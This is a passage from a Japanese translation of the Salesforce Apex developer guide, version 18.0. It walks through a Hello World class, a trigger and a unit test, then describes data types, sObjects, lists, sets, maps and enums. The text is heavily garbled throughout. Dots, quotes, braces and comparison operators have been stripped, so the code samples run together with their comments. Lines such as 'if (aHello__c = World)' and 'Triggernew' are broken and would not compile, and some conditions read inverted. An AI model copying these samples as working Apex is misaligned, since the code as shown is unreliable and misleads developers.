メモ この例はユーザが Salesforcecom アプリケーションに慣れており標準の取引先オブジェクトにHelloというカスタムテキスト項目を定義していると想定しています詳細はSalesforcecom オンラインヘルプの「項目とリレーションの追加」を参照してください

この画像は取引先が作成された後の Account 詳細ページにある空の Hello項目を示しています

図 4 値のない Hello 項目

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 21

値「World」で自動的にこの項目を更新するには[設定」 [開発] [Apex クラス] をクリックし[新規] をクリックした後 [Body]テキストボックスに次のコードを入力します

このクラスは取引先レコードの Hello 項目を更新して クラスに渡します public class MyHelloWorld

public static void addHelloWorld(Account[] accs)

for (Account aaccs) if (aHello__c = World) aHello__c = World

入力後必ず [保存] をクリックしてください

コードの最初の行は次のようになります

public class MyHelloWorld

Apex スクリプトは通常クラスに含まれていますこのクラスでは publicと定義されているため他の Apexスクリプトから使用できます詳細は「クラスオブジェクトおよびインターフェース」 (ページ 84)を参照してください

コードの 2 番目の行からメソッド定義が始まります

public static void addHelloWorld(Account[] accs)

このメソッドは addHelloWorldと呼ばれ公開かつ静的メソッドですこれは静的メソッドであるためクラスのインスタンスを作成してメソッドにアクセスする必要はありませんこのメソッドにアクセスするにはカンマ()の前にクラス名をそしてメソッド名を指定します詳細は「静的およびインスタンス」 (ページ93)を参照してください

このメソッドでは 1 つのパラメータAccount レコードのリストを使用しますこれは変数 accsに割り当てられます

コードの次の項ではメソッド定義の残りが記述されています

for (Account aaccs) if (aHello__c = World) aHello__c = World

フィールド名の後に __cを記述しHello__cとしますここではそれがカスタム項目つまり自分で作成した項目であることを示しますSalesforcecom のデフォルトで提供されている標準項目には__cを使用せずAccountnameのように同じ種類のドット表記を使用して アクセスします

この部分のコードを実行するためにこの例ではトリガという Apex コンポーネントを使用しますトリガはForcecom プラットフォームデータベースの特定の種類のレコードが挿入更新または削除される前後で実行するコードの一部ですすべてのトリガはトリガを発生したレコードにアクセスするためのコンテキスト変数と共に実行されますすべてのトリガは一括処理(bulk)から呼ばれるため複数のレコードを一度に処理する必要があります

次のトリガは Account オブジェクトと関連しHelloWorldクラスで定義した addHelloWorldメソッドをコールしますこのトリガを組織に追加するには[設定] [カスタマイズ] [取引先] [トリガ] をクリックし[新規] をクリックして次のコードに入力しテンプレートで自動的に生成されたものを置き換えます

trigger helloWorldAccountTrigger on Account (before insert)

Account[] accs = Triggernew

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 22

MyHelloWorldaddHelloWorld(accs)

コードの最初の行はトリガを定義します

trigger helloWorldAccountTrigger on Account (before insert)

トリガに名前を指定し処理するオブジェクトを指定し発生させるイベントを定義しますたとえばこのトリガは新しい取引先レコードがデータベースに追加される前に実行します

トリガの次の行はaccsという名前の取引先レコードのリストを作成しTriggernewというトリガコンテキスト変数の内容を割り当てますTriggernewなどのトリガコンテキスト変数はすべてのトリガで暗黙的に定義されトリガを発生させるレコードへにアクセスできますこの場合Triggernewには挿入される新しい取引先がすべて含まれています

Account[] accs = Triggernew

コードの次の行はMyHelloWorldクラスのメソッド addHelloWorldをコールします新しい取引先の配列に渡します

MyHelloWorldaddHelloWorld(accs)

このコードは before insertトリガイベントで実行されるため新しいレコードを作成してコードを実行する必要があります新しいレコードを作成するには[取引先] タブをクリックして [新規]をクリックし新しい取引先をクリックします必須項目は名前だけです[保存] をクリックするとHello項目に「World」が入力されます

図 5 コード実行後Hello 項目に入力

Hello World プログラムへのテストの追加

テストとユニットテストは開発プロセスの重要な部分です

bull 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

bull 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めしますbull Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません

次の例では前の例で使用された同じクラスおよびトリガを使用します

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 23

テストをプログラムに追加するには新しいクラスを作成する必要がありますクラスを作成するには[設定] [開発] [Apex クラス] をクリックし[新規] をクリックしますクラスの [内容] テキストボックスでその次を入力します

isTest private class HelloWorldTestClass

static testMethod void validateHelloWorld() Account a = new Account(name=T1 Account) Insert account insert a

Retrieve account a = [SELECT hello__c FROM account WHERE Id =aid]

Test that HelloWorld program correctly added the value World to the Hello fieldSystemassertEquals(World ahello__c)

入力後必ず [保存] をクリックしてください

このクラスはアノテーション isTestを使用して定義しますそのようにして定義されたクラスにはテストメソッドのみが含まれますテストメソッドを既存のクラスに追加することに対しテスト用に個別のクラスを作成することの利点はisTestで定義されたクラスはすべての Apex スクリプトの 1 MB の組織の制限に対してカウントしないという点ですisTestアノテーションを個別のメソッドに追加することもできます詳細は「IsTest」 (ページ 109) および 「実行ガバナーと制限の理解」を参照してください

メソッド validateHelloWorldは testMethodとして定義されていますつまりデータベースに変更が行われている場合実行が完了すると自動的にロールバックされます

まずテストメソッドは新しい取引先を作成しデータベースに一時的に挿入します

Account a = new Account(name=T1 Account) Insert account insert a

取引先が挿入されると挿入時に取引先に割り当てられていた ID を使用してコードは取引先を取得します

Retrieve account a = [SELECT hello__c FROM account WHERE Id =aid]

HelloWorldクラスを実行すると「World」という言葉が hello__c項目に挿入されます次の行は実際のテストでメソッド addHelloWorldが実際に実行しているかを検証し予期した結果を作成します

Test that HelloWorld program correctly added the value World to the Hello fieldSystemassertEquals(World ahello__c)

このユニットテストを実行するには[設定] [開発] [Apex クラス] をクリックしクラス名HelloWorldTestClassをクリックして[テストを実行] をクリックします

ユニットテストの実行結果ページには次のセクションがあります各セクションは展開したり折りたたんだりできます

bull テストランの回数失敗の回数ユニットテストが網羅する Apex スクリプトの割合を詳細に示す概要セクション

重要

- 少なくとも75の Apex スクリプトをユニットテストでカバーする必要がありますさらにすべてのトリガが一部のテスト範囲に含まれている必要があります

- 100 のスクリプトを可能な場合はユニットテストでカバーすることをお勧めします- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされま

せん

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 24

bull テストの失敗回数 (発生した場合)bull コードカバー率セクション

このセクションでは組織のすべてのクラスおよびトリガおよびテストの対象となる各クラスおよびトリガのコードの行の割合を一覧表示しますカバー率の数値をクリックするとページが表示されテストの対象となるクラスまたはトリガのコードの行がすべて青でまたテストの対象外であるコードのすべての行が赤で強調表示されますまたクラスまたはトリガの特定の行がテストで実行された回数も表示されます

bull テストカバー率の警告 (発生した場合)bull デバッグログ

デバッグログは自動的に特定のログレベルとカテゴリに設定されます変更はできません

レベルCategory

INFOデータベースFINEApex コードINFOApex プロファイリングINFOワークフローINFOValidation

次は結果ページの前半の例です

図 6 HelloWorldTest 結果ページ

Forcecom Apex コードの概要 Version 180 | 最初の Apex スクリプトの作成 | 25

第 2 章

言語構造

次の言語構造はApex の基本部分を形成しますトピック

bull データ型bull データ型bull 変数bull 変数bull 式bull 式bull 代入ステートメントbull 代入ステートメントbull 条件 (If-Else) ステートメントbull 条件 (If-Else) ステートメントbull ループbull ループbull SOQL および SOSL クエリbull SOQL および SOSL クエリbull ロックするステートメント

bull ロックするステートメント bull トランザクションの制御bull トランザクションの制御 bull 例外ステートメントbull 例外ステートメント

Apex スクリプトはトリガまたはクラスのいずれかに含まれています詳細は「トリガ」 (ページ 65)および「クラスオブジェクトおよびインターフェース」 (ページ 84)を参照してください

データ型

Apex の場合すべての変数および式には次のいずれかのデータ型があります

bull IntegerDoubleLongDateDatetimeStringIDまたは Boolean (プリミティブデータ型 (ページ 27)を参照) などのプリミティブデータ型

bull AccountContactまたは MyCustomObject__c など汎用 sObject または特定 sObject としての sObject (「sObject型」 (ページ 30)を参照)

bull コレクション

- プリミティブsObjectsユーザ定義のオブジェクトApex から作成されたオブジェクトまたはコレクションのリストまたは配列 (リスト (ページ 34))

- プリミティブデータ型のセット (「セット」 (ページ 35)を参照)- プリミティブからプリミティブsObject またはコレクションへのマップ (「マップ」 (ページ 36)を参照)

bull enum など値の型が決まったリスト (see 「Enum」 (ページ 38)を参照)bull ユーザー定義のApexクラスから作成されるオブジェクト (「クラスオブジェクトおよびインターフェース」

(ページ 84)を参照)bull システムによって提供された Apex クラスから作成されるオブジェクト (「Apex クラス」 (ページ 300)を参照)bull Null (任意の変数に割り当てることができる null定数)

メソッドは上記のいずれかのデータ型を返すかまたは値を返さない Void となります

データ型チェックはコンパイル時に行われますたとえばデータ型 Integer のオブジェクト項目に String の値が割り当てられるとパーサーはエラーを生成しますただしすべてのコンパイル時の例外はエラーの行番号および列番号を記載した特定の障害コードとして返されます詳細は「Apex のデバッグ」を参照してください

プリミティブデータ型Apex はForcecom Web サービス API と同じプリミティブデータ型を使用しますすべてのプリミティブデータ型は参照ではなく値によって渡されます

Apex プリミティブデータ型には次のとおりです

説明データ型

単一のオブジェクトとして保存されるバイナリデータ型のコレクションtoString

メソッドおよび valueOfメソッドを使用してこのデータ型をそれぞれ String にBlob

または String から変換できますBlobs は Web サービス引数として受け入れられドキュメント (ドキュメントの本文は Blob) に保存され添付ファイルとして送信されます詳細は「Cryptoクラス」 (ページ 359)を参照してください

truefalsenullのみを割り当てることができる値例

Boolean isWinner = true

Boolean

言語構造 Version 180 | データ型 | 27

説明データ型

特定の日を示す値Datetime 値と異なりDate 値に時間に関する情報は含まれていませんDate は必ずシステム静的メソッドを使用して作成する必要があります

まれに Date 変数に数値を追加して日付の追加などDate 値を処理することはできませんDate メソッドを使用する必要があります

Date

タイムスタンプなど特定の日と時刻をを示す値Datetime は必ずシステム静的メソッドを使用して作成する必要があります

まれに Datetime 変数に数値を追加して分の追加などDatetime 値を処理することはできませんDatetime メソッドを使用する必要があります

Datetime

小数を示す数値Decimal は任意の精度数です通貨項目には自動的にデータ型Decimal が割り当てられます

明示的に scaleつまり小数部分の桁数を設定しない場合setScaleメソッドを使用する Decimal に対しスケールは Decimal が作成された項目によって決まります

Decimal

bull Decimal がクエリの一部として作成される場合スケールはクエリから返される項目のスケールに基づきます

bull Decimal が String から作成される場合スケールは String の小数点の後の文字数となります

bull Decimal が小数以外の数値から作成される場合スケールは数値を String に変換し小数点以下の文字数を指定して決定します

小数を含む 64 ビットの数値Doubles の最小値は -263最大値は 263-1 です例

Double d=314159

Double

Doubles 特定の表記 (e) はサポートされていません

有効な 18 文字の Forcecom レコードの識別子例

ID id=00300000003T2PGAA0

ID

IDを 15 文字の値に設定するとApex は自動的に 18 文字の表現に変換します無効な ID値はランタイム例外により却下されます

小数を含まない 32 ビットの数値Integer の最小値は -2147483648最大値は2147483647 です例

Integer i = 1

Integer

言語構造 Version 180 | プリミティブデータ型 | 28

説明データ型

小数を含まない 64 ビットの数値Doubles の最小値は -263最大値は 263-1 ですInteger で提供されたものより広い値の範囲が必要な場合このデータ型を使用します例

Long l = 2147483648L

Long

単一引用符で囲まれた文字のセット例String s = The quick brown fox jumped over the lazy dog

文字列

文字列サイズ文字列には使用できる文字数の制限はありません代わりにヒープサイズの制限を使用してApex プログラムが大きくならないようにします

空の文字列と末尾の空白文字 sObject String 項目値は Web サービス API と同じ規則に従います空白は使用できず (nullのみ)先頭および末尾に空白文字を使用できませんデータベースの保存にはこれらの変換が必要です

それに対しApexの String は nullまたは空白となりますまた先頭と末尾に空白文字を使用することができます (メッセージを構築するために使用できます)

Solution sObject 項目の SolutionNote は特別なデータ型の String として処理しますHTML Solutions を有効にした場合この項目で使用される HTML タグはオブジェクトは作成または更新される前に検証されます無効な HTML が入力されるとエラーが投げられますこの項目で使用される JavaScript はオブジェクトが作成または更新される前に削除されます次の例ではSolution が詳細ページに表示されSolutionNote 項目は H1 HTML 形式を適用します

trigger t on Solution (before insert) Triggernew[0]SolutionNote=lth1gthellolth1gt

次の例ではSolution が詳細ページに表示されSolutionNote 項目はHelloGoodbyeのみを含みます

trigger t2 on Solution (before insert) Triggernew[0]SolutionNote= ltjavascriptgtHelloltjavascriptgtGoodbye

詳細はSalesforcecomオンラインヘルプの「HTML ソリューションとは 」を参照してください

エスケープシーケンス Apex のすべての String は SOQL 文字列と同じエスケープシーケンス (b (バックスペース)t (タブ)n (改行)f (改ページ)r (改行復帰) (二重引用符) (一重引用符)および (バックスラッシュ)) を使用します

比較演算子 Java と異なりApex の Strings では比較演算子 (===ltlt=gtおよび gt=) を使用できますApex は SOQL 比較セマンティックを使用するためStrings の結果はコンテキストユーザーのロケールに従って照合され大文字と小文字の区別はされません詳細は「演算子」 (ページ 42)を参照してください

String メソッド Java と同様String はさまざまな標準メソッドを使用して操作できます詳細は「String メソッド」を使用してください

言語構造 Version 180 | プリミティブデータ型 | 29

説明データ型

項目に割り当てた文字列値が長すぎる場合APIバージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

特定の時刻を示す値Time 値は必ずシステム静的メソッドを使用して作成する必要があります詳細は「Time メソッド」 (ページ 226)を参照してください

Time

また標準でない次の 2 つのプリミティブデータ型は変数またはメソッド型として使用できませんがシステム静的メソッドに表示されます

bull AnyTypevalueOf静的メソッドはデータ型 AnyType の sObject 項目を標準プリミティブデータ型に変換しますAnyType はForcecom プラットフォームで項目履歴管理表の sObject 項目専用で使用されます

bull CurrencyCurrencynewInstance静的メソッドはデータ型 Currency のリテラルを作成しますこのメソッドは SOQL および SOSL の WHERE句で独立して使用されsObject 通貨項目に対して絞り込みを行いますApex のその他のデータ型で Currency をインスタンス化できません

AnyType データ型の詳細は『Forcecom Web サービス API Developers Guide』のwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmfield_typeshtm を参照してください

sObject 型この開発者ガイドではsObjectという用語はForcecomプラットフォームデータベースで保存できるオブジェクトのことを示しますsObject 変数はデータの行を示しオブジェクトのWeb サービスAPI名を使用してApexでのみ宣言できます例

Account a = new Account() MyCustomObject__c co = new MyCustomObject__c()

Web サービス API と同様Apex では汎用 sObject 抽象型を使用してオブジェクトを示しますsObject データ型は異なる種類の sObjects を処理するコードで使用できますsObjects は常にApexの参照によって渡されます

new演算子はコンクリート sObject 型を要求するためすべてのインスタンスは特定の sObjects です例

sObject s = new Account()

汎用 sObject 型と特定の sObject 型の間で投入を使用することもできます例

上記の例の汎用変数を 特定の取引先および取引先変数に投入します Account a = (Account)s 次はランタイムエラーを生成します Contact c = (Contact)s

sObjects はオブジェクトと同様に機能するため次のようになります

Object obj = s and a = (Account)obj

DML 操作は汎用 sObject データ型および正規の sObjects として宣言される変数を処理します

sObject 変数は nullに初期化されますがnew演算子を有効なオブジェクト参照に割り当てることができます例

Account a = new Account()

言語構造 Version 180 | sObject 型 | 30

新しい sObject をインスタンス化する場合開発者は最初の項目値にカンマで区切られた name = valueのペアを指定することもできます例

Account a = new Account(name = Acme billingcity = San Francisco)

Forcecom プラットフォームデータベースから既存の sObject へのアクセスの詳細は 「SOQL クエリおよびSOSL クエリ」 (ページ 55)を参照してください

メモ sObject の ID は読み取り専用の値で複製操作中にクリアされない限りまたはコンストラクタが割り当てられない限りApexで明示的に変更できませんForcecomプラットフォームはオブジェクトレコードが初めてデータベースに挿入されると ID 値を自動的に割り当てます詳細は「リスト」(ページ 34)を参照してください

カスタム表示ラベル

カスタムラベルは標準 sObjects ではありませんカスタムラベルの新規インスタンスを作成することはできませんカスタムラベルの値にはsystemlabellabel_nameを使用してのみアクセスできます例

String errorMsg = SystemLabelgeneric_error

カスタムラベルの詳細はSalesforcecom オンラインヘルプの「カスタムラベルの概要」を参照してください

sObject 項目へのアクセス

Java と同様sObject 項目は簡単なドット表記でアクセスまたは変更できます例

Account a = new Account() aname = Acme 取引先名項目にアクセスし割り当てます Acme

Created Byまたは Last Modified Dateなどシステムによって生成された項目は変更できません変更しようとするとApexランタイムエンジンはエラーを生成しますまた数式項目値およびコンテキストユーザーの読み取り専用のその他の項目の値も変更できません

汎用 sObject 型の場合Account など特定のオブジェクトではなくID 項目にのみ取得できます例

Account a = new Account(name = Acme billingcity = San Francisco) Insert a sObject s= [select id name from account where name = Acme limit 1] This is allowed ID id =sID The following lines result in errors when you try to save String x = sname sID= [select id from Account where name = Acme limit 1]

メモ 組織で個人取引先が有効になっている場合は法人取引先と個人取引先の 2 種類の取引先が使用できますスクリプトが nameを使用して新しい取引先を作成すると法人取引先が作成されますスクリプトが LastNameを使用する場合個人取引先を作成します

sObject に操作を実行する場合まず特定のオブジェクトに変換することをお勧めします例

Account a = new Account(name = Acme billingcity = San Francisco) Insert a sObject s= [select id name from account where name = Acme limit 1] ID id = sID AccountconvertedAccount = (Account)s convertedAccountname = Acme2 Update convertedAccountContact sal = new Contact(firstname = Sal account = convertedAccount)

言語構造 Version 180 | sObject 型 | 31

次の例はレコードのセットに SOSL をどのように使用してオブジェクトタイプを決定するかについて示しています汎用 sObject レコードを取引先担当者リードまたは取引先に変換すると項目をそれぞれ次のように変更できます

public class convertToCLA ListltContactgt contacts ListltLeadgt leads ListltAccountgt accounts

public void convertType(Integer phoneNumber) ListltListltsObjectgtgt results = [find4155557000 in phone fields returning contact(id phone firstname lastname) lead(idphone firstname lastname) account(id phone name)] sObject[] records =((ListltsObjectgt)results[0])

if (recordsisEmpty()) for (Integer i = 0 i lt recordssize() i++) sObject record =records[i] if (recordgetSObjectType() == ContactsObjectType) contactsadd((Contact)record) else if (recordgetSObjectType() == LeadsObjectType) leadsadd((Lead) record) else if (recordgetSObjectType() == AccountsObjectType) accountsadd((Account) record)

関係を介した sObject 項目へのアクセス

sObject レコードはID および関連する sObject の表現を示すアドレスという 2 つの項目でその他のレコードとの関係を示しますたとえばContact sObject にはデータ型 ID の AccountId項目と関連する Object 自体を示すデータ型 Account の Account項目があります

ID 項目を使用して連絡先と関連する取引先を変更しsObject 参照項目を使用して取引先のデータにアクセスすることができます参照項目はSOQL クエリまたは SOSL クエリの結果としてのみ投入されます (下記参照)

たとえばApex スクリプトは取引先と連絡先がお互いどのように関連しているか連絡先を使用して取引先の項目をどのように変更できるかを示しています

メモ 最も複雑な例を示すためにこのコードは本ガイドの後で説明される一部の要素を使用します

bull insertおよび updateの詳細は「挿入操作」 (ページ 192)および「更新操作」 (ページ 192)を参照してください

bull SOQL および SOSL の詳細は「SOQL クエリおよび SOSL クエリ」 (ページ 55)を参照してください

Account a = new Account(name = Acme) insert a レコードを挿入すると自動的に 値が ID 項目に割り当てられます Contact c = new Contact(lastName = Weissman) caccountId = aId 新しい連絡先は新しい取引先を示します insert c

SOQL クエリは投入された caccount など挿入された連絡先のデータにアクセスします field c =[select accountname from contact where id = cid]

両方のレコードの項目を連絡先によって変更できます caccountname = salesforcecom clastName= Roth

データベースを更新するには2 種類のレコードを 個別に更新する必要があります update c 連絡先の名前のみ変更します update caccount 取引先名を更新します

言語構造 Version 180 | sObject 型 | 32

メモ 表現 caccountnameは関係を切り返すその他の表現とともに変更されるときではなく値として読み込まれるときに若干異なる特性を表します

bull 値として読み込まれるときcaccountが null の場合 caccountnameは null を評価しますがNullPointerExceptionは生成しませんこのデザインにより開発者は null 値をチェックする必要があるという手間を省いて複数の関係をナビゲートできます

bull 変更されるときcaccountが null の場合caccountname は NullPointerExceptionを生成します

またsObject 項目キーは insertupdateまたは upsertとともに使用して外部 ID によって外部キーを解決します例

Account refAcct = new Account(externalId__c = 12345)

Contact c = new Contact(account = refAcct lastName = Kay)

insert c

新しい連絡先にexternal_idが「12345」である取引先と同じAccountIdを挿入しますそのような取引先がない場合挿入は失敗します

ヒント

たとえば次のコードは上記のコードと同一ですただしSOQL クエリを使用するためそれほど有効ではありませんこのコードが複数回コールされた場合SOQL クエリ最大数の実行制限に達する場合があります実行制限の詳細は「実行ガバナーと制限の理解」を参照してください

Account refAcct = [select id from Account where externalId__c=12345]

Contact c = new Contact(account = refAcctid)

Insert c

sObjects および項目の検証

Apex スクリプトが解析および検証される時すべての sObject および項目参照が実際のオブジェクト名および項目名に対して検証され無効な名前が使用されている場合解析時の例外が投げられます

またApex パーサーは埋め込み SOQL ステートメントおよび SOSL ステートメントおよびスクリプトの構文の両方で使用されているカスタムオブジェクトおよびカスタム項目を追跡します次のような変更によってApexスクリプトが無効になる場合プラットフォームを使用してユーザーが変更を行えないようにします

bull 項目名またはオブジェクト名の変更bull あるデータ型から別のデータ型への変換bull 項目またはオブジェクトの削除bull レコード共有項目履歴管理レコードの種類など特定の組織全体の変更

コレクションApex には次のようなコレクションがあります

bull リスト

言語構造 Version 180 | コレクション | 33

bull マップbull セット

メモ 保持できる項目の数については制限はありませんただしヒープサイズには制限があります

リスト

リストはプリミティブsObjectsユーザ定義のオブジェクトApex オブジェクトまたは他のコレクションの順序付けされ索引で区別されたコレクションですたとえば次の表には String のリストを視覚的に示しています

Index 5Index 4Index 3Index 2Index 1Index 0

PurpleBlueGreenYellowOrangeRed

リスト内の最初の要素の索引は必ず 0 となります

リストには他のコレクションを含めることができるため多次元的な定義が可能ですたとえばIteger のセットのリストのリストを作成できますリストではコレクションを 最大 5 段階ネストすることができます

リストを宣言するにはltgt文字で囲んだプリミティブデータ型sObjectネストされたリストマップセット型の前に Listキーワードを使用します例

String の空のリストを作成 ListltStringgt my_list = new ListltStringgt() ネスとされたリストを作成 ListltListltSetltIntegergtgtgt my_list_2 = new ListltListltSetltIntegergtgtgt() SOQL クエリから取引先レコードのリストを作成 ListltAccountgt accs = [SELECT Id Name FROM Account LIMIT 1000]

リストの要素にアクセスするにはApex で提供されたシステムメソッドを使用します例

ListltIntegergt MyList = new ListltIntegergt() 新しいリストを定義 MyListadd(47) 値 47 の 2 番目の要素を末尾に追加 of the list MyListget(0) index 0 で要素を取得 MyListset(0 1) 整数 1 を

index 0 のリストに追加 MyListclear() リストからすべての要素を削除

サポートされているメソッドの詳細は「List メソッド」 (ページ 227)を参照してくださいプリミティブまたは sObject の一次元リストの配列表記法の使用

プリミティブまたは sObjects の一次元リストを使用する場合従来の配列表記を使用してもリスト要素を宣言および参照することができますたとえば次のように [] 文字でデータ名または sObject 型名を囲んでプリミティブまたは sObject の一次元的リストを宣言することができます

String[] colors = new ListltStringgt()

プリミティブデータ型または sObjects の一次元リストの要素を参照するためにリスト名の後に要素の索引の位置を大かっこで囲んで表記します例

colors[3] = Green

言語構造 Version 180 | コレクション | 34

すべてのリストは nullに初期化されますリストには値を割り当てリテラル表記を使用してメモリを割り当てることができます例

説明例

要素のない Integer リストを定義しますListltIntegergt ints = new Integer[0]

要素のない Account リストを定義しますListltAccountgt accts = new Account[]

メモリを 6 つの Integer に割り当てた Integer リストを定義します

ListltIntegergt ints = new Integer[6]

最初の場所に新しい Account オブジェクト2 番目にnull3 番目の場所に別の新しい Account オブジェク

ListltAccountgt accts = new Account[] newAccount() null new Account()

トなど 3 つの Account にメモリを割り当てた Accountリストを定義します

与えられた要素を含む新しい Contact リストを定義します

ListltContactgt contacts = new ListltContactgt(otherList)

sObjects のリスト

Apex はリストがデータ操作言語 (DML) ステートメントを含むデータベースに正常に挿入されると自動的にsObject のリストの各オブジェクトに ID を生成しますその結果同じ sObject を複数回含む場合null ID を持つ場合でもsObject のリストを挿入することはできませんこれは2 つの ID をメモリ内の同じ構造内に書き込む必要があるということは違反であることを示しています

たとえば次のコードブロックの insertステートメントは同じ sObject (a) への参照を 2 つ持つリストを挿入しようとしているためListExceptionを生成します

try

同じ sObject 要素への 2 つの参照を持つリストを作成 Account a = new Account() Account[] accs= new Account[]a a

挿入を試行 insert accs

取得せず Systemassert(false) catch (ListException e) ここで取得

DML ステートメントの詳細は「Apex のデータ操作言語 (DML) 操作」 (ページ 186)を参照してください

汎用 sObject データ型にリストを使用することができますリストの汎用インスタンスを作成することもできます

セット

セットは重複する要素を含まないプリミティブデータ型の順不同のコレクションですたとえば次の表には都市名のセットを示します

TokyoParisNew YorkSan Francisco

言語構造 Version 180 | コレクション | 35

セットを宣言するにはltgt 文字で囲んだプリミティブデータ型の前に Setキーワードを使用します例

new SetltStringgt()

次のようにしてセットを宣言し投入します

SetltStringgt s1 = new SetltStringgta b + c 2 つの要素を持つ新しいセットを定義 SetltStringgts2 = new SetltStringgt(s1) 以前の手順で作成されたセットの要素 を含む新しいセットを定義します

セットの要素にアクセスするにはApex で提供されたシステムメソッドを使用します例

SetltIntegergt s = new SetltIntegergt() 新しいセットを定義 sadd(1) 要素をセットに追加 Systemassert(scontains(1)) セットに要素が含まれていることを確

認 sremove(1) セットから要素を削除

サポートされているセットシステムメソッドの詳細は「Set メソッド」 (ページ 234)を参照してください

セットについて次の点に注意してください

bull Java と異なりApex 開発者は宣言でマップを実装するために使用するアルゴリズムを参照する必要がありません (HashSetまたは TreeSetなど)Apex はすべてのセットにハッシュ構造を使用します

bull セットは順序のないコレクションですセットの結果が返される順序に依存しないでくださいセットによって返されるオブジェクトの順序は警告なく変更される場合があります

マップ

マップは一意のキーを単一の値に対応付けるキー 値のペアのコレクションですキーはプリミティブデータ型で値はプリミティブsObjectコレクション型または Apex オブジェクトとなりますたとえば次の表は国名と通貨のマップを示します

IndiaEnglandFranceJapanUnited States国 (キー)

RupeePoundEuroYenDollar通貨 (値)

リストと同様マップの値にはコレクションを含める事ができネストすることが可能ですたとえばIntegerのマップをマップしたりString をリストにマップすることができますマップではコレクションを最大 5 段階ネストすることができます

マップを宣言するにはltgt 文字で囲んだキーおよび値のデータ型の前に Mapキーワードを使用します例

MapltString Stringgt country_currencies = new MapltString Stringgt() MapltID SetltStringgtgt m= new MapltID SetltStringgtgt() MapltID MapltID Account[]gtgt m2 = new MapltID MapltIDAccount[]gtgt()

汎用 sObject データ型にマップを使用することができますマップの汎用インスタンスを作成することもできます

リスト同様マップを中かっこ () 構文を使用して宣言する場合マップのキー-値のペアを投入することができます中かっこの中でキーを最初に指定し=gtを使用してキーの値を指定します例

MapltString Stringgt MyStrings = new MapltString Stringgta =gt b c =gt dtoUpperCase()

言語構造 Version 180 | コレクション | 36

Account[] accs = new Account[5] Account[] は ListltAccountgt と同じです MapltIntegerListltAccountgtgt m4 = new MapltInteger ListltAccountgtgt1 =gt accs

最初の例でキー aの値は bでキー cの値は dです2 番目の例でキー 1にはリスト accsの値が含まれます

マップの要素にアクセスするにはApex で提供されたシステムメソッドを使用します例

Account myAcct = new Account() 新しい取引先を定義 MapltIntegerAccountgt m = new MapltInteger Accountgt() 新しいマップを定義 mput(1 myAcct)

マップに新しいキー-値を挿入 Systemassert(mcontainsKey(3)) マップにキーが含まれていることを確認 Account a = mget(1) 特定のキーを指定して値を取得 SetltIntegergt s =mkeySet() マップのすべてのキーを含むセットを返す

サポートされているマップシステムメソッドの詳細は「Map メソッド」 (ページ 231)を参照してください

マップについて次の点に注意してください

bull Java と異なりApex 開発者は宣言でマップを実装するために使用するアルゴリズムを参照する必要がありません (HashMapまたは TreeMapなど)Apex はすべてのマップにハッシュ構造を使用します

bull マップの結果が返される順序に依存しないでくださいマップによって返されるオブジェクトの順序は警告なく変更される場合がありますマップ要素には常にキーによってアクセスします

SObject 配列からのマップ

ID または String データ型から sObject へのマップはsObjects のリストから初期化できますオブジェクトの ID(null 以外の重複しない値) はキーとして使用されますこのマップ型の一般的な使用方法は2 つの表の間でメモリ内「結合」するためのものですたとえばこの例では ID と Contact のマップをロードします

MapltID Contactgt m = new MapltID Contactgt([select id lastname from contact])

例ではSOQL クエリは id項目 lastname項目を含む連絡先のリストを返しますnew演算子はリストを使用してマップを作成します詳細は「SOQL クエリおよび SOSL クエリ」 (ページ 55)を参照してください

コレクションの繰り返し処理

コレクションはリストセットまたはマップで構成されますコレクションの繰り返し処理中にコレクションの要素を変更することはできません変更するとエラーが発生します要素を含むコレクションを繰り返し処理中に要素を直接追加したり削除しないでください

繰り返し処理中の要素の追加

リストセットまたはマップの繰り返し処理中に要素を追加するには新しい要素を一時的なリストセットまたはマップに保存しコレクションの処理が終了した後で元のコレクションに追加します

繰り返し処理中の要素の削除

リストの繰り返し処理中に要素を削除するには新しいリストを作成し保存する要素をコピーしますまたは削除する要素を一時的なリストに追加してコレクションの処理が終了した後で削除することもできます

メモ

Listremoveメソッドが一次的に実行しますこのメソッドを使用して要素を削除することは時間と人員の点で意味があります

言語構造 Version 180 | コレクション | 37

マップまたはセットの繰り返し処理中に要素を削除するには削除するキーを一時的なリストに保存しコレクションの処理が終了した後で削除します

Enum

enum は指定された識別子の有限の集合から つだけを値に持つ抽象データ型ですEnumは通常トランプや季節など特定の数値 順序を持たない値のセットを定義しますenum の各値はユニークな整数値を持ちますがenum の内部処理のみに利用されており不用意に間違って数値処理等の対象としないよう実装を隠していますenum を作成した後変数メソッド引数戻り型を該当するデータ型に宣言します

メモ Java と異なりenum 型自体にはコンストラクタ構文はありません

enumを定義するには宣言でenumキーワードを使用し中かっこを使用して値のリストを区画しますたとえば次のコードは Seasonという enum を作成します

public enum Season WINTER SPRING SUMMER FALL

enum Seasonを作成してSeasonという新しいデータ型も作成します他のデータ型と同じようにこの新しいデータ型を使用できます例

Season e = SeasonWINTER

Season m(Integer x Season e)

If (e == SeasonSUMMER) return e

クラスを enum に定義することもできますenum クラスを作成する場合定義で classキーワードを使用しません

public enum MyEnumClass X Y

enum は他のデータ型の名前を使用する場所であればどこででも使用できます型が enum である変数を定義する場合それに割り当てるオブジェクトはその enum のインスタンスでなければなりません

webServiceメソッドは enum 型を署名の一部として使用できますこの場合関連する WSDL ファイルにはenum およびその値の定義が含まれAPI クライアントによって使用できます

Apex には次のようなシステム定義 enum があります

bull SystemStatusCode

この enum はすべての API 演算子の WSDL で表示される API エラーコードに対応しています例

StatusCodeCANNOT_INSERT_UPDATE_ACTIVATE_ENTITYStatusCodeINSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY

ステータスコードの完全なリストは組織の WSDL ファイルから入手できます組織の WSDL ファイルへのアクセスの詳細はSalesforcecomオンラインヘルプの「Salesforcecom WSDL およびクライアント認証証明書のダウンロード」を参照してください

